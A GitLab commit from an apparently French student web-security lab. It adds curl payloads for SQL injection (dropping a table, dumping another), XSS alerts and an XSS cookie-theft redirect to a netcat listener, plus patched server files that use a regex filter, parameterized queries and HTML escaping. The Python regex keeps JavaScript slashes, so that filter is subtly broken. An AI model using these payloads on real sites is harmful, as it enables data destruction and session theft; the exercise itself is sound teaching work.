Skip to content
Snippets Groups Projects
Commit 062be6d9 authored by Thibault Garcia's avatar Thibault Garcia
Browse files

fin du TP2

parent 19f3f331
No related branches found
No related tags found
No related merge requests found
......@@ -31,35 +31,43 @@ Requête traitée :
INSERT INTO chaines (txt,who) VALUES('hello', 'tibo'); -- ','127.0.0.1')
Les "--" après le point virgule transforme en commentaire SQL le reste de la requete, ne la traitant pas.
- Votre commande curl pour effacer la table
curl 'http://localhost:8080/' --data-raw 'chaine=%27%2C+%27%27%29%3B+DROP+TABLE+Test%3B+--+&submit=OK'
INSERT INTO chaines (txt,who) VALUES('', ''); DROP TABLE Test; -- ','127.0.0.1')
- Expliquez comment obtenir des informations sur une autre table
Il suffit d'ajouter une requete SELECT dans le chaine du curl demandant des informations sur l'autre table. Imaginons une autre tables "mdp" alors on écrit :
' SELECT \* from mdp;
Il suffit d'ajouter une requete SELECT dans le chaine du curl demandant des informations sur l'autre table. Imaginons une autre tables "Test" alors on écrirait dans une commande curl :
curl 'http://localhost:8080/' --data-raw 'chaine=%27%2C+%27%27%29%3B+SELECT+\*+from+Persons%3B+--+&submit=OK'
----------+--------------+------+-----+---------+-------+
| PersonID | int | YES | | NULL | |
| LastName | varchar(255) | YES | | NULL | |
| FirstName | varchar(255) | YES | | NULL | |
| Address | varchar(255) | YES | | NULL | |
| City
## Question 4 : Corriger l'application vulnérable
Rendre un fichier server_correct.py avec la correction de la faille de
sécurité. Expliquez comment vous avez corrigé la faille.
D'abord on a créé une première version (serveur_correct.py) où on utilise le regex avant d'exécuter la requete pour vérifier qu'il n'y ait pas de caractères interdits. Cette manière semble fonctionner correctement.
Ensuite on a utilisé les queries paramétrisés en utilisant le prepared statement (serveur_correct_v2.py). On peut comparer ça à l'affichage en C où l'on oblige les variables dans un print à n'être qu'un seul type sinon le print ne fonctionnerait pas. Ici c'est le même principe, on force la chaine donnée au curl à être une chaîne de caractère, ce qui évite de sortir de la requete pour réaliser des commandes malicieuses.
Cependant, on doit rajouter le filtrage par un regex pour pas que des caractères de ponctuations soient utilisés.
## Question 5
- Commande curl pour afficher une fenetre de dialog.
curl 'http://localhost:8080/' --data-raw 'chaine=%3Cscript%3Ealert%28%22You%27ve+been+hacked%2C+LOSER+%21%22%29%3B%3C%2Fscript%3E%27%2C+%27%27%29+--+&submit=OK'
- Commande curl pour lire les cookies
On créé d'abord un serveur local avec la commande `nc -l -p 7777`. Dans la commande curl on changera le `document.location` au serveur créé pour pouvoir rediriger la page vers celui du serveur local (`http://127.0.0.1:7777`).
On y passe en requête GET la liste des cookies récupérées sous forme de chaine de caractère grâce à l'attribut `cookie` de la variable `document`.
Pour résumer, on redirige la page vers l'adresse `http://127.0.0.1:7777?cookies=${document.cookie}`. On peut par la suite récupérer ces cookie en récupérant le contenu de la requête GET `cookies`.
Petit bonus pour un affichage plus propre :
`nc -l -p 7777 | tr '?' '\n' | tr ' ' '\n' | head -n3 | tail -n1`
curl 'http://localhost:8080/' --data-raw 'chaine=%3Cscript%3Edocument.location+%3D+%60http%3A%2F%2F127.0.0.1%3A7777%3Fcookies%3D%24%7Bdocument.cookie%7D%60%3B%3C%2Fscript%3E%27%2C+%27%27%29+--+&submit=OK'
Retour sur la console du serveur malicieux :
`cookies=_xsrf=2|883d75a3|7316968ba0f40aebd15d9c773894ff10|1641568205`
## Question 6
Rendre un fichier server_xss.py avec la correction de la
faille. Expliquez la demarche que vous avez suivi.
On échappe la valeur renvoyée par `post['chaine']`, cela enlevera les balises html comprises dedans, empêchant la redirection et l'envoi des cookies au serveur malicieux se trouvant au port 7777.
Comme l'escape des balises html a fonctionné avant l'insertion en base, on pense qu'il faudrait le faire à ce moment là et logiquement on devrait ne plus avoir besoin de le faire.
De plus on peut voir la tentative d'injection dans la base de données :
Valeur text dans la table chaines :
`<script>document.location = http://127.0.0.1:7777?cookies=${document.cookie};</script>', '') --`
......@@ -17,7 +17,7 @@ class VulnerableApp(object):
cursor.execute(requete)
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines");
cursor.execute("SELECT txt,who FROM chaines")
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
......
#!/usr/bin/env python3
import mysql.connector
import cherrypy
import config
#Import du module pour l'utilisation d'un pattern matching en regex
import re
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
cursor = self.conn.cursor()
if cherrypy.request.method == "POST":
requete = "INSERT INTO chaines (txt,who) VALUES('" + post["chaine"] + "','" + cherrypy.request.remote.ip + "')"
#Regex qui filtre seulement les chiffres ou lettres
regex = "/^[a-zA-Z0-9]+$/"
pattern = re.compile(regex)
#Si la chaine rentrée ne correspond pas alors on n'exécute pas la requete et on print coté serveur et return coté client avec un message
if not pattern.match(post["chaine"]):
print("Requête invalide provenant de :", cherrypy.request.remote.ip)
return "Requête invalide\n"
print("req: [" + requete + "]")
cursor.execute(requete)
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines")
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp())
#!/usr/bin/env python3
import mysql.connector
import cherrypy
import config
import re
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
try:
cursor = self.conn.cursor(prepared=True)
if cherrypy.request.method == "POST":
requete = "INSERT INTO chaines (txt,who) VALUES(%s,%s)"
#Regex qui filtre seulement les chiffres ou lettres
regex = "/^[a-zA-Z0-9]+$/"
pattern = re.compile(regex)
#Si la chaine rentrée ne correspond pas alors on n'exécute pas la requete et on print coté serveur et return coté client avec un message
'''
if not pattern.match(post["chaine"]):
print("Requête invalide provenant de :", cherrypy.request.remote.ip)
return "Requête invalide\n"
'''
#Force les valeurs à être des strings pour pas "sortir" de la requête
placeholder = (post["chaine"],cherrypy.request.remote.ip)
print("req: [" + requete + "]")
cursor.execute(requete, placeholder)
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines")
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
except mysql.connector.Error as error:
print("parameterized query failed {}".format(error))
finally:
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp())
#!/usr/bin/env python3
import mysql.connector
import cherrypy
import config
import re
import html
class VulnerableApp(object):
def __init__(self):
self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS)
@cherrypy.expose
def index(self, **post):
try:
cursor = self.conn.cursor(prepared=True)
if cherrypy.request.method == "POST":
requete = "INSERT INTO chaines (txt,who) VALUES(%s,%s)"
#Regex qui filtre seulement les chiffres ou lettres
regex = "/^[a-zA-Z0-9]+$/"
pattern = re.compile(regex)
#Si la chaine rentrée ne correspond pas alors on n'exécute pas la requete et on print coté serveur et return coté client avec un message
'''
if not pattern.match(post["chaine"]):
print("Requête invalide provenant de :", cherrypy.request.remote.ip)
return "Requête invalide\n"
'''
s = post["chaine"]
#On échappe les balises trouvées dans la chaine passée à curl
escaped_s = html.escape(s)
#Force les valeurs à être des strings pour pas "sortir" de la requête
placeholder = (escaped_s,cherrypy.request.remote.ip)
print("req: [" + requete + "]")
cursor.execute(requete, placeholder)
self.conn.commit()
chaines = []
cursor.execute("SELECT txt,who FROM chaines")
for row in cursor.fetchall():
chaines.append(row[0] + " envoye par: " + row[1])
except mysql.connector.Error as error:
print("parameterized query failed {}".format(error))
finally:
cursor.close()
return '''
<html>
<head>
<title>Application Python Vulnerable</title>
</head>
<body>
<p>
Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans une base de données MySQL!
</p>
<p>
Liste des chaines actuellement insérées:
<ul>
'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+'''
</ul>
</p>
<p> Inserer une chaine:
<form method="post" onsubmit="return validate()">
<input type="text" name="chaine" id="chaine" value="" />
<br />
<input type="submit" name="submit" value="OK" />
</form>
<script>
function validate() {
var regex = /^[a-zA-Z0-9]+$/;
var chaine = document.getElementById('chaine').value;
console.log(regex.test(chaine));
if (!regex.test(chaine)) {
alert("Veuillez entrer une chaine avec uniquement des lettres et des chiffres");
return false;
}
return true;
}
</script>
</p>
</body>
</html>
'''
cherrypy.quickstart(VulnerableApp())
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment